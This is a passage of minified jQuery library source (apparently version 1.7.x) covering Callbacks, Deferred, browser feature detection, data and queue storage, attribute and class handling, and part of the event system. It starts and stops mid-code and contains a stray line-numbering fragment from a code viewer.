if(f!==b){j=i===b&&e.isFunction(f),k&&(j?(j=c,c=function(a,b,c){return j.call(e(a),c)}):(c.call(a,f),c=null));if(c)for(;l<m;l++)c(a[l],d,j?f.call(a[l],l,c(a[l],d)):f,i);g=1}return g?a:k?c.call(a):m?c(a[0],d):h},now:function(){return(new Date).getTime()},uaMatch:function(a){a=a.toLowerCase();var b=r.exec(a)||s.exec(a)||t.exec(a)||a.indexOf("compatible")<0&&u.exec(a)||[];return{browser:b[1]||"",version:b[2]||"0"}},sub:function(){function a(b,c){return new a.fn.init(b,c)}e.extend(!0,a,this),a.superclass=this,a.fn=a.prototype=this(),a.fn.constructor=a,a.sub=this.sub,a.fn.init=function(d,f){f&&f instanceof e&&!(f instanceof a)&&(f=a(f));return e.fn.init.call(this,d,f,b)},a.fn.init.prototype=a.fn;var b=a(c);return a},browser:{}}),e.each("Boolean Number String Function Array Date RegExp Object".split(" "),function(a,b){I["[object "+b+"]"]=b.toLowerCase()}),z=e.uaMatch(y),z.browser&&(e.browser[z.browser]=!0,e.browser.version=z.version),e.browser.webkit&&(e.browser.safari=!0),j.test(" ")&&(k=/^[\s\xA0]+/,l=/[\s\xA0]+$/),h=e(c),c.addEventListener?B=function(){c.removeEventListener("DOMContentLoaded",B,!1),e.ready()}:c.attachEvent&&(B=function(){c.readyState==="complete"&&(c.detachEvent("onreadystatechange",B),e.ready())});return e}(),g={};f.Callbacks=function(a){a=a?g[a]||h(a):{};var c=[],d=[],e,i,j,k,l,m,n=function(b){var d,e,g,h,i;for(d=0,e=b.length;d<e;d++)g=b[d],h=f.type(g),h==="array"?n(g):h==="function"&&(!a.unique||!p.has(g))&&c.push(g)},o=function(b,f){f=f||[],e=!a.memory||[b,f],i=!0,j=!0,m=k||0,k=0,l=c.length;for(;c&&m<l;m++)if(c[m].apply(b,f)===!1&&a.stopOnFalse){e=!0;break}j=!1,c&&(a.once?e===!0?p.disable():c=[]:d&&d.length&&(e=d.shift(),p.fireWith(e[0],e[1])))},p={add:function(){if(c){var a=c.length;n(arguments),j?l=c.length:e&&e!==!0&&(k=a,o(e[0],e[1]))}return this},remove:function(){if(c){var b=arguments,d=0,e=b.length;for(;d<e;d++)for(var f=0;f<c.length;f++)if(b[d]===c[f]){j&&f<=l&&(l--,f<=m&&m--),c.splice(f--,1);if(a.unique)break}}return this},has:function(a){if(c){var b=0,d=c.length;for(;b<d;b++)if(a===c[b])return!0}return!1},empty:function(){c=[];return this},disable:function(){c=d=e=b;return this},disabled:function(){return!c},lock:function(){d=b,(!e||e===!0)&&p.disable();return this},locked:function(){return!d},fireWith:function(b,c){d&&(j?a.once||d.push([b,c]):(!a.once||!e)&&o(b,c));return this},fire:function(){p.fireWith(this,arguments);return this},fired:function(){return!!i}};return p};var i=[].slice;f.extend({Deferred:function(a){var b=f.Callbacks("once memory"),c=f.Callbacks("once memory"),d=f.Callbacks("memory"),e="pending",g={resolve:b,reject:c,notify:d},h={done:b.add,fail:c.add,progress:d.add,state:function(){return e},isResolved:b.fired,isRejected:c.fired,then:function(a,b,c){i.done(a).fail(b).progress(c);return this},always:function(){i.done.apply(i,arguments).fail.apply(i,arguments);return this},pipe:function(a,b,c){return f.Deferred(function(d){f.each({done:[a,"resolve"],fail:[b,"reject"],progress:[c,"notify"]},function(a,b){var c=b[0],e=b[1],g;f.isFunction(c)?i[a](function(){g=c.apply(this,arguments),g&&f.isFunction(g.promise)?g.promise().then(d.resolve,d.reject,d.notify):d[e+"With"](this===i?d:this,[g])}):i[a](d[e])})}).promise()},promise:function(a){if(a==null)a=h;else for(var b in h)a[b]=h[b];return a}},i=h.promise({}),j;for(j in g)i[j]=g[j].fire,i[j+"With"]=g[j].fireWith;i.done(function(){e="resolved"},c.disable,d.lock).fail(function(){e="rejected"},b.disable,d.lock),a&&a.call(i,i);return i},when:function(a){function m(a){return function(b){e[a]=arguments.length>1?i.call(arguments,0):b,j.notifyWith(k,e)}}function l(a){return function(c){b[a]=arguments.length>1?i.call(arguments,0):c,--g||j.resolveWith(j,b)}}var b=i.call(arguments,0),c=0,d=b.length,e=Array(d),g=d,h=d,j=d<=1&&a&&f.isFunction(a.promise)?a:f.Deferred(),k=j.promise();if(d>1){for(;c<d;c++)b[c]&&b[c].promise&&f.isFunction(b[c].promise)?b[c].promise().then(l(c),j.reject,m(c)):--g;g||j.resolveWith(j,b)}else j!==a&&j.resolveWith(j,d?[a]:[]);return k}}),f.support=function(){var b,d,e,g,h,i,j,k,l,m,n,o,p=c.createElement("div"),q=c.documentElement;p.setAttribute("className","t"),p.innerHTML=" <link/><table></table><a href='/a' style='top:1px;float:left;opacity:.55;'>a</a><input type='checkbox'/>",d=p.getElementsByTagName("*"),e=p.getElementsByTagName("a")[0];if(!d||!d.length||!e)return{};g=c.createElement("select"),h=g.appendChild(c.createElement("option")),i=p.getElementsByTagName("input")[0],b={leadingWhitespace:p.firstChild.nodeType===3,tbody:!p.getElementsByTagName("tbody").length,htmlSerialize:!!p.getElementsByTagName("link").length,style:/top/.test(e.getAttribute("style")),hrefNormalized:e.getAttribute("href")==="/a",opacity:/^0.55/.test(e.style.opacity),cssFloat:!!e.style.cssFloat,checkOn:i.value==="on",optSelected:h.selected,getSetAttribute:p.className!=="t",enctype:!!c.createElement("form").enctype,html5Clone:c.createElement("nav").cloneNode(!0).outerHTML!=="<:nav></:nav>",submitBubbles:!0,changeBubbles:!0,focusinBubbles:!1,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0,pixelMargin:!0},f.boxModel=b.boxModel=c.compatMode==="CSS1Compat",i.checked=!0,b.noCloneChecked=i.cloneNode(!0).checked,g.disabled=!0,b.optDisabled=!h.disabled;try{delete p.test}catch(r){b.deleteExpando=!1}!p.addEventListener&&p.attachEvent&&p.fireEvent&&(p.attachEvent("onclick",function(){b.noCloneEvent=!1}),p.cloneNode(!0).fireEvent("onclick")),i=c.createElement("input"),i.value="t",i.setAttribute("type","radio"),b.radioValue=i.value==="t",i.setAttribute("checked","checked"),i.setAttribute("name","t"),p.appendChild(i),j=c.createDocumentFragment(),j.appendChild(p.lastChild),b.checkClone=j.cloneNode(!0).cloneNode(!0).lastChild.checked,b.appendChecked=i.checked,j.removeChild(i),j.appendChild(p);if(p.attachEvent)for(n in{submit:1,change:1,focusin:1})m="on"+n,o=m in p,o||(p.setAttribute(m,"return;"),o=typeof p[m]=="function"),b[n+"Bubbles"]=o;j.removeChild(p),j=g=h=p=i=null,f(function(){var d,e,g,h,i,j,l,m,n,q,r,s,t,u=c.getElementsByTagName("body")[0];!u||(m=1,t="padding:0;margin:0;border:",r="position:absolute;top:0;left:0;width:1px;height:1px;",s=t+"0;visibility:hidden;",n="style='"+r+t+"5px solid #000;",q="<div "+n+"display:block;'><div style='"+t+"0;display:block;overflow:hidden;'></div></div>"+"<table "+n+"' cellpadding='0' cellspacing='0'>"+"<tr><td></td></tr></table>",d=c.createElement("div"),d.style.cssText=s+"width:0;height:0;position:static;top:0;margin-top:"+m+"px",u.insertBefore(d,u.firstChild),p=c.createElement("div"),d.appendChild(p),p.innerHTML="<table><tr><td style='"+t+"0;display:none'></td><td>t</td></tr></table>",k=p.getElementsByTagName("td"),o=k[0].offsetHeight===0,k[0].style.display="",k[1].style.display="none",b.reliableHiddenOffsets=o&&k[0].offsetHeight===0,a.getComputedStyle&&(p.innerHTML="",l=c.createElement("div"),l.style.width="0",l.style.marginRight="0",p.style.width="2px",p.appendChild(l),b.reliableMarginRight=(parseInt((a.getComputedStyle(l,null)||{marginRight:0}).marginRight,10)||0)===0),typeof p.style.zoom!="undefined"&&(p.innerHTML="",p.style.width=p.style.padding="1px",p.style.border=0,p.style.overflow="hidden",p.style.display="inline",p.style.zoom=1,b.inlineBlockNeedsLayout=p.offsetWidth===3,p.style.display="block",p.style.overflow="visible",p.innerHTML="<div style='width:5px;'></div>",b.shrinkWrapBlocks=p.offsetWidth!==3),p.style.cssText=r+s,p.innerHTML=q,e=p.firstChild,g=e.firstChild,i=e.nextSibling.firstChild.firstChild,j={doesNotAddBorder:g.offsetTop!==5,doesAddBorderForTableAndCells:i.offsetTop===5},g.style.position="fixed",g.style.top="20px",j.fixedPosition=g.offsetTop===20||g.offsetTop===15,g.style.position=g.style.top="",e.style.overflow="hidden",e.style.position="relative",j.subtractsBorderForOverflowNotVisible=g.offsetTop===-5,j.doesNotIncludeMarginInBodyOffset=u.offsetTop!==m,a.getComputedStyle&&(p.style.marginTop="1%",b.pixelMargin=(a.getComputedStyle(p,null)||{marginTop:0}).marginTop!=="1%"),typeof d.style.zoom!="undefined"&&(d.style.zoom=1),u.removeChild(d),l=p=d=null,f.extend(b,j))});return b}();var j=/^(?:\{.*\}|\[.*\])$/,k=/([A-Z])/g;f.extend({cache:{},uuid:0,expando:"jQuery"+(f.fn.jquery+Math.random()).replace(/\D/g,""),noData:{embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",applet:!0},hasData:function(a){a=a.nodeType?f.cache[a[f.expando]]:a[f.expando];return!!a&&!m(a)},data:function(a,c,d,e){if(!!f.acceptData(a)){var g,h,i,j=f.expando,k=typeof c=="string",l=a.nodeType,m=l?f.cache:a,n=l?a[j]:a[j]&&j,o=c==="events";if((!n||!m[n]||!o&&!e&&!m[n].data)&&k&&d===b)return;n||(l?a[j]=n=++f.uuid:n=j),m[n]||(m[n]={},l||(m[n].toJSON=f.noop));if(typeof c=="object"||typeof c=="function")e?m[n]=f.extend(m[n],c):m[n].data=f.extend(m[n].data,c);g=h=m[n],e||(h.data||(h.data={}),h=h.data),d!==b&&(h[f.camelCase(c)]=d);if(o&&!h[c])return g.events;k?(i=h[c],i==null&&(i=h[f.camelCase(c)])):i=h;return i}},removeData:function(a,b,c){if(!!f.acceptData(a)){var d,e,g,h=f.expando,i=a.nodeType,j=i?f.cache:a,k=i?a[h]:h;if(!j[k])return;if(b){d=c?j[k]:j[k].data;if(d){f.isArray(b)||(b in d?b=[b]:(b=f.camelCase(b),b in d?b=[b]:b=b.split(" ")));for(e=0,g=b.length;e<g;e++)delete d[b[e]];if(!(c?m:f.isEmptyObject)(d))return}}if(!c){delete j[k].data;if(!m(j[k]))return}f.support.deleteExpando||!j.setInterval?delete j[k]:j[k]=null,i&&(f.support.deleteExpando?delete a[h]:a.removeAttribute?a.removeAttribute(h):a[h]=null)}},_data:function(a,b,c){return f.data(a,b,c,!0)},acceptData:function(a){if(a.nodeName){var b=f.noData[a.nodeName.toLowerCase()];if(b)return b!==!0&&a.getAttribute("classid")===b}return!0}}),f.fn.extend({data:function(a,c){var d,e,g,h,i,j=this[0],k=0,m=null;if(a===b){if(this.length){m=f.data(j);if(j.nodeType===1&&!f._data(j,"parsedAttrs")){g=j.attributes;for(i=g.length;k<i;k++)h=g[k].name,h.indexOf("data-")===0&&(h=f.camelCase(h.substring(5)),l(j,h,m[h]));f._data(j,"parsedAttrs",!0)}}return m}if(typeof a=="object")return this.each(function(){f.data(this,a)});d=a.split(".",2),d[1]=d[1]?"."+d[1]:"",e=d[1]+"!";return f.access(this,function(c){if(c===b){m=this.triggerHandler("getData"+e,[d[0]]),m===b&&j&&(m=f.data(j,a),m=l(j,a,m));return m===b&&d[1]?this.data(d[0]):m}d[1]=c,this.each(function(){var b=f(this);b.triggerHandler("setData"+e,d),f.data(this,a,c),b.triggerHandler("changeData"+e,d)})},null,c,arguments.length>1,null,!1)},removeData:function(a){return this.each(function(){f.removeData(this,a)})}}),f.extend({_mark:function(a,b){a&&(b=(b||"fx")+"mark",f._data(a,b,(f._data(a,b)||0)+1))},_unmark:function(a,b,c){a!==!0&&(c=b,b=a,a=!1);if(b){c=c||"fx";var d=c+"mark",e=a?0:(f._data(b,d)||1)-1;e?f._data(b,d,e):(f.removeData(b,d,!0),n(b,c,"mark"))}},queue:function(a,b,c){var d;if(a){b=(b||"fx")+"queue",d=f._data(a,b),c&&(!d||f.isArray(c)?d=f._data(a,b,f.makeArray(c)):d.push(c));return d||[]}},dequeue:function(a,b){b=b||"fx";var c=f.queue(a,b),d=c.shift(),e={};d==="inprogress"&&(d=c.shift()),d&&(b==="fx"&&c.unshift("inprogress"),f._data(a,b+".run",e),d.call(a,function(){f.dequeue(a,b)},e)),c.length||(f.removeData(a,b+"queue "+b+".run",!0),n(a,b,"queue"))}}),f.fn.extend({queue:function(a,c){var d=2;typeof a!="string"&&(c=a,a="fx",d--);if(arguments.length<d)return f.queue(this[0],a);return c===b?this:this.each(function(){var b=f.queue(this,a,c);a==="fx"&&b[0]!=="inprogress"&&f.dequeue(this,a)})},dequeue:function(a){return this.each(function(){f.dequeue(this,a)})},delay:function(a,b){a=f.fx?f.fx.speeds[a]||a:a,b=b||"fx";return this.queue(b,function(b,c){var d=setTimeout(b,a);c.stop=function(){clearTimeout(d)}})},clearQueue:function(a){return this.queue(a||"fx",[])},promise:function(a,c){function m(){--h||d.resolveWith(e,[e])}typeof a!="string"&&(c=a,a=b),a=a||"fx";var d=f.Deferred(),e=this,g=e.length,h=1,i=a+"defer",j=a+"queue",k=a+"mark",l;while(g--)if(l=f.data(e[g],i,b,!0)||(f.data(e[g],j,b,!0)||f.data(e[g],k,b,!0))&&f.data(e[g],i,f.Callbacks("once memory"),!0))h++,l.add(m);m();return d.promise(c)}});var o=/[\n\t\r]/g,p=/\s+/,q=/\r/g,r=/^(?:button|input)$/i,s=/^(?:button|input|object|select|textarea)$/i,t=/^a(?:rea)?$/i,u=/^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i,v=f.support.getSetAttribute,w,x,y;f.fn.extend({attr:function(a,b){return f.access(this,f.attr,a,b,arguments.length>1)},removeAttr:function(a){return this.each(function(){f.removeAttr(this,a)})},prop:function(a,b){return f.access(this,f.prop,a,b,arguments.length>1)},removeProp:function(a){a=f.propFix[a]||a;return this.each(function(){try{this[a]=b,delete this[a]}catch(c){}})},addClass:function(a){var b,c,d,e,g,h,i;if(f.isFunction(a))return this.each(function(b){f(this).addClass(a.call(this,b,this.className))});if(a&&typeof a=="string"){b=a.split(p);for(c=0,d=this.length;c<d;c++){e=this[c];if(e.nodeType===1)if(!e.className&&b.length===1)e.className=a;else{g=" "+e.className+" ";for(h=0,i=b.length;h<i;h++)~g.indexOf(" "+b[h]+" ")||(g+=b[h]+" ");e.className=f.trim(g)}}}return this},removeClass:function(a){var c,d,e,g,h,i,j;if(f.isFunction(a))return this.each(function(b){f(this).removeClass(a.call(this,b,this.className))});if(a&&typeof a=="string"||a===b){c=(a||"").split(p);for(d=0,e=this.length;d<e;d++){g=this[d];if(g.nodeType===1&&g.className)if(a){h=(" "+g.className+" ").replace(o," ");for(i=0,j=c.length;i<j;i++)h=h.replace(" "+c[i]+" "," ");g.className=f.trim(h)}else g.className=""}}return this},toggleClass:function(a,b){var c=typeof a,d=typeof b=="boolean";if(f.isFunction(a))return this.each(function(c){f(this).toggleClass(a.call(this,c,this.className,b),b)});return this.each(function(){if(c==="string"){var e,g=0,h=f(this),i=b,j=a.split(p);while(e=j[g++])i=d?i:!h.hasClass(e),h[i?"addClass":"removeClass"](e)}else if(c==="undefined"||c==="boolean")this.className&&f._data(this,"__className__",this.className),this.className=this.className||a===!1?"":f._data(this,"__className__")||""})},hasClass:function(a){var b=" "+a+" ",c=0,d=this.length;for(;c<d;c++)if(this[c].nodeType===1&&(" "+this[c].className+" ").replace(o," ").indexOf(b)>-1)return!0;return!1},val:function(a){var c,d,e,g=this[0];{if(!!arguments.length){e=f.isFunction(a);return this.each(function(d){var g=f(this),h;if(this.nodeType===1){e?h=a.call(this,d,g.val()):h=a,h==null?h="":typeof h=="number"?h+="":f.isArray(h)&&(h=f.map(h,function(a){return a==null?"":a+""})),c=f.valHooks[this.type]||f.valHooks[this.nodeName.toLowerCase()];if(!c||!("set"in c)||c.set(this,h,"value")===b)this.value=h}})}if(g){c=f.valHooks[g.type]||f.valHooks[g.nodeName.toLowerCase()];if(c&&"get"in c&&(d=c.get(g,"value"))!==b)return d;d=g.value;return typeof d=="string"?d.replace(q,""):d==null?"":d}}}}),f.extend({valHooks:{option:{get:function(a){var b=a.attributes.value;return!b||b.specified?a.value:a.text}},select:{get:function(a){var b,c,d,e,g=a.selectedIndex,h=[],i=a.options,j=a.type==="select-one";if(g<0)return null;c=j?g:0,d=j?g+1:i.length;for(;c<d;c++){e=i[c];if(e.selected&&(f.support.optDisabled?!e.disabled:e.getAttribute("disabled")===null)&&(!e.parentNode.disabled||!f.nodeName(e.parentNode,"optgroup"))){b=f(e).val();if(j)return b;h.push(b)}}if(j&&!h.length&&i.length)return f(i[g]).val();return h},set:function(a,b){var c=f.makeArray(b);f(a).find("option").each(function(){this.selected=f.inArray(f(this).val(),c)>=0}),c.length||(a.selectedIndex=-1);return c}}},attrFn:{val:!0,css:!0,html:!0,text:!0,data:!0,width:!0,height:!0,offset:!0},attr:function(a,c,d,e){var g,h,i,j=a.nodeType;if(!!a&&j!==3&&j!==8&&j!==2){if(e&&c in f.attrFn)return f(a)[c](d);if(typeof a.getAttribute=="undefined")return f.prop(a,c,d);i=j!==1||!f.isXMLDoc(a),i&&(c=c.toLowerCase(),h=f.attrHooks[c]||(u.test(c)?x:w));if(d!==b){if(d===null){f.removeAttr(a,c);return}if(h&&"set"in h&&i&&(g=h.set(a,d,c))!==b)return g;a.setAttribute(c,""+d);return d}if(h&&"get"in h&&i&&(g=h.get(a,c))!==null)return g;g=a.getAttribute(c);return g===null?b:g}},removeAttr:function(a,b){var c,d,e,g,h,i=0;if(b&&a.nodeType===1){d=b.toLowerCase().split(p),g=d.length;for(;i<g;i++)e=d[i],e&&(c=f.propFix[e]||e,h=u.test(e),h||f.attr(a,e,""),a.removeAttribute(v?e:c),h&&c in a&&(a[c]=!1))}},attrHooks:{type:{set:function(a,b){if(r.test(a.nodeName)&&a.parentNode)f.error("type property can't be changed");else if(!f.support.radioValue&&b==="radio"&&f.nodeName(a,"input")){var c=a.value;a.setAttribute("type",b),c&&(a.value=c);return b}}},value:{get:function(a,b){if(w&&f.nodeName(a,"button"))return w.get(a,b);return b in a?a.value:null},set:function(a,b,c){if(w&&f.nodeName(a,"button"))return w.set(a,b,c);a.value=b}}},propFix:{tabindex:"tabIndex",readonly:"readOnly","for":"htmlFor","class":"className",maxlength:"maxLength",cellspacing:"cellSpacing",cellpadding:"cellPadding",rowspan:"rowSpan",colspan:"colSpan",usemap:"useMap",frameborder:"frameBorder",contenteditable:"contentEditable"},prop:function(a,c,d){var e,g,h,i=a.nodeType;if(!!a&&i!==3&&i!==8&&i!==2){h=i!==1||!f.isXMLDoc(a),h&&(c=f.propFix[c]||c,g=f.propHooks[c]);return d!==b?g&&"set"in g&&(e=g.set(a,d,c))!==b?e:a[c]=d:g&&"get"in g&&(e=g.get(a,c))!==null?e:a[c]}},propHooks:{tabIndex:{get:function(a){var c=a.getAttributeNode("tabindex");return c&&c.specified?parseInt(c.value,10):s.test(a.nodeName)||t.test(a.nodeName)&&a.href?0:b}}}}),f.attrHooks.tabindex=f.propHooks.tabIndex,x={get:function(a,c){var d,e=f.prop(a,c);return e===!0||typeof e!="boolean"&&(d=a.getAttributeNode(c))&&d.nodeValue!==!1?c.toLowerCase():b},set:function(a,b,c){var d;b===!1?f.removeAttr(a,c):(d=f.propFix[c]||c,d in a&&(a[d]=!0),a.setAttribute(c,c.toLowerCase()));return c}},v||(y={name:!0,id:!0,coords:!0},w=f.valHooks.button={get:function(a,c){var d;d=a.getAttributeNode(c);return d&&(y[c]?d.nodeValue!=="":d.specified)?d.nodeValue:b},set:function(a,b,d){var e=a.getAttributeNode(d);e||(e=c.createAttribute(d),a.setAttributeNode(e));return e.nodeValue=b+""}},f.attrHooks.tabindex.set=w.set,f.each(["width","height"],function(a,b){f.attrHooks[b]=f.extend(f.attrHooks[b],{set:function(a,c){if(c===""){a.setAttribute(b,"auto");return c}}})}),f.attrHooks.contenteditable={get:w.get,set:function(a,b,c){b===""&&(b="false"),w.set(a,b,c)}}),f.support.hrefNormalized||f.each(["href","src","width","height"],function(a,c){f.attrHooks[c]=f.extend(f.attrHooks[c],{get:function(a){var d=a.getAttribute(c,2);return d===null?b:d}})}),f.support.style||(f.attrHooks.style={get:function(a){return a.style.cssText.toLowerCase()||b},set:function(a,b){return a.style.cssText=""+b}}),f.support.optSelected||(f.propHooks.selected=f.extend(f.propHooks.selected,{get:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex);return null}})),f.support.enctype||(f.propFix.enctype="encoding"),f.support.checkOn||f.each(["radio","checkbox"],function(){f.valHooks[this]={get:function(a){return a.getAttribute("value")===null?"on":a.value}}}),f.each(["radio","checkbox"],function(){f.valHooks[this]=f.extend(f.valHooks[this],{set:function(a,b){if(f.isArray(b))return a.checked=f.inArray(f(a).val(),b)>=0}})});var z=/^(?:textarea|input|select)$/i,A=/^([^\.]*)?(?:\.(.+))?$/,B=/(?:^|\s)hover(\.\S+)?\b/,C=/^key/,D=/^(?:mouse|contextmenu)|click/,E=/^(?:focusinfocus|focusoutblur)$/,F=/^(\w*)(?:#([\w\-]+))?(?:\.([\w\-]+))?$/,G=function( | ||
3 | a){var b=F.exec(a);b&&(b[1]=(b[1]||"").toLowerCase(),b[3]=b[3]&&new RegExp("(?:^|\\s)"+b[3]+"(?:\\s|$)"));return b},H=function(a,b){var c=a.attributes||{};return(!b[1]||a.nodeName.toLowerCase()===b[1])&&(!b[2]||(c.id||{}).value===b[2])&&(!b[3]||b[3].test((c["class"]||{}).value))},I=function(a){return f.event.special.hover?a:a.replace(B,"mouseenter$1 mouseleave$1")};f.event={add:function(a,c,d,e,g){var h,i,j,k,l,m,n,o,p,q,r,s;if(!(a.nodeType===3||a.nodeType===8||!c||!d||!(h=f._data(a)))){d.handler&&(p=d,d=p.handler,g=p.selector),d.guid||(d.guid=f.guid++),j=h.events,j||(h.events=j={}),i=h.handle,i||(h.handle=i=function(a){return typeof f!="undefined"&&(!a||f.event.triggered!==a.type)?f.event.dispatch.apply(i.elem,arguments):b},i.elem=a),c=f.trim(I(c)).split(" ");for(k=0;k<c.length;k++){l=A.exec(c[k])||[],m=l[1],n=(l[2]||"").split(".").sort(),s=f.event.special[m]||{},m=(g?s.delegateType:s.bindType)||m,s=f.event.special[m]||{},o=f.extend({type:m,origType:l[1],data:e,handler:d,guid:d.guid,selector:g,quick:g&&G(g),namespace:n.join(".")},p),r=j[m];if(!r){r=j[m]=[],r.delegateCount=0;if(!s.setup||s.setup.call(a,e,n,i)===!1)a.addEventListener?a.addEventListener(m,i,!1):a.attachEvent&&a.attachEvent("on"+m,i)}s.add&&(s.add.call(a,o),o.handler.guid||(o.handler.guid=d.guid)),g?r.splice(r.delegateCount++,0,o):r.push(o),f.event.global[m]=!0}a=null}},global:{},remove:function(a,b,c,d,e){var g=f.hasData(a)&&f._data(a),h,i,j,k,l,m,n,o,p,q,r,s;if(!!g&&!!(o=g.events)){b=f.trim(I(b||"")).split(" ");for(h=0;h<b.length;h++){i=A.exec(b[h])||[],j=k=i[1],l=i[2];if(!j){for(j in o)f.event.remove(a,j+b[h],c,d,!0);continue}p=f.event.special[j]||{},j=(d?p.delegateType:p.bindType)||j,r=o[j]||[],m=r.length,l=l?new RegExp("(^|\\.)"+l.split(".").sort().join("\\.(?:.*\\.)?")+"(\\.|$)"):null;for(n=0;n<r.length;n++)s=r[n],(e||k===s.origType)&&(!c||c.guid===s.guid)&&(!l||l.test(s.namespace))&&(!d||d===s.selector||d==="**"&&s.selector)&&(r.splice(n--,1),s.selector&&r.delegateCount--,p.remove&&p.remove.call(a,s));r.length===0&&m!==r.length&&((!p.teardown||p.teardown.call(a,l)===!1)&&f.removeEvent(a,j,g.handle),delete o[j])}f.isEmptyObject(o)&&(q=g.handle,q&&(q.elem=null),f.removeData(a,["events","handle"],!0))}},customEvent:{getData:!0,setData:!0,changeData:!0},trigger:function(c,d,e,g){if(!e||e.nodeType!==3&&e.nodeType!==8){var h=c.type||c,i=[],j,k,l,m,n,o,p,q,r,s;if(E.test(h+f.event.triggered))return;h.indexOf("!")>=0&&(h=h.slice(0,-1),k=!0),h.indexOf(".")>=0&&(i=h.split("."),h=i.shift(),i.sort());if((!e||f.event.customEvent[h])&&!f.event.global[h])return;c=typeof c=="object"?c[f.expando]?c:new f.Event(h,c):new f.Event(h),c.type=h,c.isTrigger=!0,c.exclusive=k,c.namespace=i.join("."),c.namespace_re=c.namespace?new RegExp("(^|\\.)"+i.join("\\.(?:.*\\.)?")+"(\\.|$)"):null,o=h.indexOf(":")<0?"on"+h:"";if(!e){j=f.cache;for(l in j)j[l].events&&j[l].events[h]&&f.event.trigger(c,d,j[l].handle.elem,!0);return}c.result=b,c.target||(c.target=e),d=d!=null?f.makeArray(d):[],d.unshift(c),p=f.event.special[h]||{};if(p.trigger&&p.trigger.apply(e,d)===!1)return;r=[[e,p.bindType||h]];if(!g&&!p.noBubble&&!f.isWindow(e)){s=p.delegateType||h,m=E.test(s+h)?e:e.parentNode,n=null;for(;m;m=m.parentNode)r.push([m,s]),n=m;n&&n===e.ownerDocument&&r.push([n.defaultView||n.parentWindow||a,s])}for(l=0;l<r.length&&!c.isPropagationStopped();l++)m=r[l][0],c.type=r[l][1],q=(f._data(m,"events")||{})[c.type]&&f._data(m,"handle"),q&&q.apply(m,d),q=o&&m[o],q&&f.acceptData(m)&&q.apply(m,d)===!1&&c.preventDefault();c.type=h,!g&&!c.isDefaultPrevented()&&(!p._default||p._default.apply(e.ownerDocument,d)===!1)&&(h!=="click"||!f.nodeName(e,"a"))&&f.acceptData(e)&&o&&e[h]&&(h!=="focus"&&h!=="blur"||c.target.offsetWidth!==0)&&!f.isWindow(e)&&(n=e[o],n&&(e[o]=null),f.event.triggered=h,e[h](),f.event.triggered=b,n&&(e[o]=n));return c.result}},dispatch:function(c){c=f.event.fix(c||a.event);var d=(f._data(this,"events")||{})[c.type]||[],e=d.delegateCount,g=[].slice.call(arguments,0),h=!c.exclusive&&!c.namespace,i=f.event.special[c.type]||{},j=[],k,l,m,n,o,p,q,r,s,t,u;g[0]=c,c.delegateTarget=this;if(!i.preDispatch||i.preDispatch.call(this,c)!==!1){if(e&&(!c.button||c.type!=="click")){n=f(this),n.context=this.ownerDocument||this;for(m=c.target;m!=this;m=m.parentNode||this)if(m.disabled!==!0){p={},r=[],n[0]=m;for(k=0;k<e;k++)s=d[k],t=s.selector,p[t]===b&&(p[t]=s.quick?H(m,s.quick):n.is(t)),p[t]&&r.push(s);r.length&&j.push({elem:m,matches:r})}}d.length>e&&j.push({elem:this,matches:d.slice(e)});for(k=0;k<j.length&&!c.isPropagationStopped();k++){q=j[k],c.currentTarget=q.elem;for(l=0;l<q.matches.length&&!c.isImmediatePropagationStopped();l++){s=q.matches[l];if(h||!c.namespace&&!s.namespace||c.namespace_re&&c.namespace_re.test(s.namespace))c.data=s.data,c.handleObj=s,o=((f.event.special[s.origType]||{}).handle||s.handler).apply(q.elem,g),o!==b&&(c.result=o,o===!1&&(c.preventDefault(),c.stopPropagation()))}}i.postDispatch&&i.postDispatch.call(this,c);return c.result}},props:"attrChange attrName relatedNode srcElement altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),fixHooks:{},keyHooks:{props:"char charCode key keyCode".split(" "),filter:function(a,b){a.which==null&&(a.which=b.charCode!=null?b.charCode:b.keyCode);return a}},mouseHooks:{props:"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),filter:function(a,d){var e,f,g,h=d.button,i=d.fromElement;a.pageX==null&&d.clientX!=null&&(e=a.target.ownerDocument||c,f=e.documentElement,g=e.body,a.pageX=d.clientX+(f&&f.scrollLeft||g&&g.scrollLeft||0)-(f&&f.clientLeft||g&&g.clientLeft||0),a.pageY=d.clientY+(f&&f.scrollTop||g&&g.scrollTop||0)-(f&&f.clientTop||g&&g.clientTop||0)),!a.relatedTarget&&i&&(a.relatedTarget=i===a.target?d.toElement:i),!a.which&&h!==b&&(a.which=h&1?1:h&2?3:h&4?2:0);return a}},fix:function(a){if(a[f.expando])return a;var d,e,g=a,h=f.event.fixHooks[a.type]||{},i=h.props?this.props.concat(h.props):this.props;a=f.Event(g);for(d=i.length;d;)e=i[--d],a[e]=g[e];a.target||(a.target=g.srcElement||c),a.target.nodeType===3&&(a.target=a.target.parentNode),a.metaKey===b&&(a.metaKey=a.ctrlKey);return h.filter?h.filter(a,g):a},special:{ready:{setup:f.bindReady},load:{noBubble:!0},focus:{delegateType:"focusin"},blur:{delegateType:"focusout"},beforeunload:{setup:function(a,b,c){f.isWindow(this)&&(this.onbeforeunload=c)},teardown:function(a,b){this.onbeforeunload===b&&(this.onbeforeunload=null)}}},simulate:function(a,b,c,d){var e=f.extend(new f.Event,c,{type:a,isSimulated:!0,originalEvent:{}});d?f.event.trigger(e,null,b):f.event.dispatch.call(b,e),e.isDefaultPrevented()&&c.preventDefault()}},f.event.handle=f.event.dispatch,f.removeEvent=c.removeEventListener?function(a,b,c){a.removeEventListener&&a.removeEventListener(b,c,!1)}:function(a,b,c){a.detachEvent&&a.detachEvent("on"+b,c)},f.Event=function(a,b){if(!(this instanceof f.Event))return new f.Event(a,b);a&&a.type?(this.originalEvent=a,this.type=a.type,this.isDefaultPrevented=a.defaultPrevented||a.returnValue===!1||a.getPreventDefault&&a.getPreventDefault()?K:J):this.type=a,b&&f.extend(this,b),this.timeStamp=a&&a.timeStamp||f.now(),this[f.expando]=!0},f.Event.prototype={preventDefault:function(){this.isDefaultPrevented=K;var 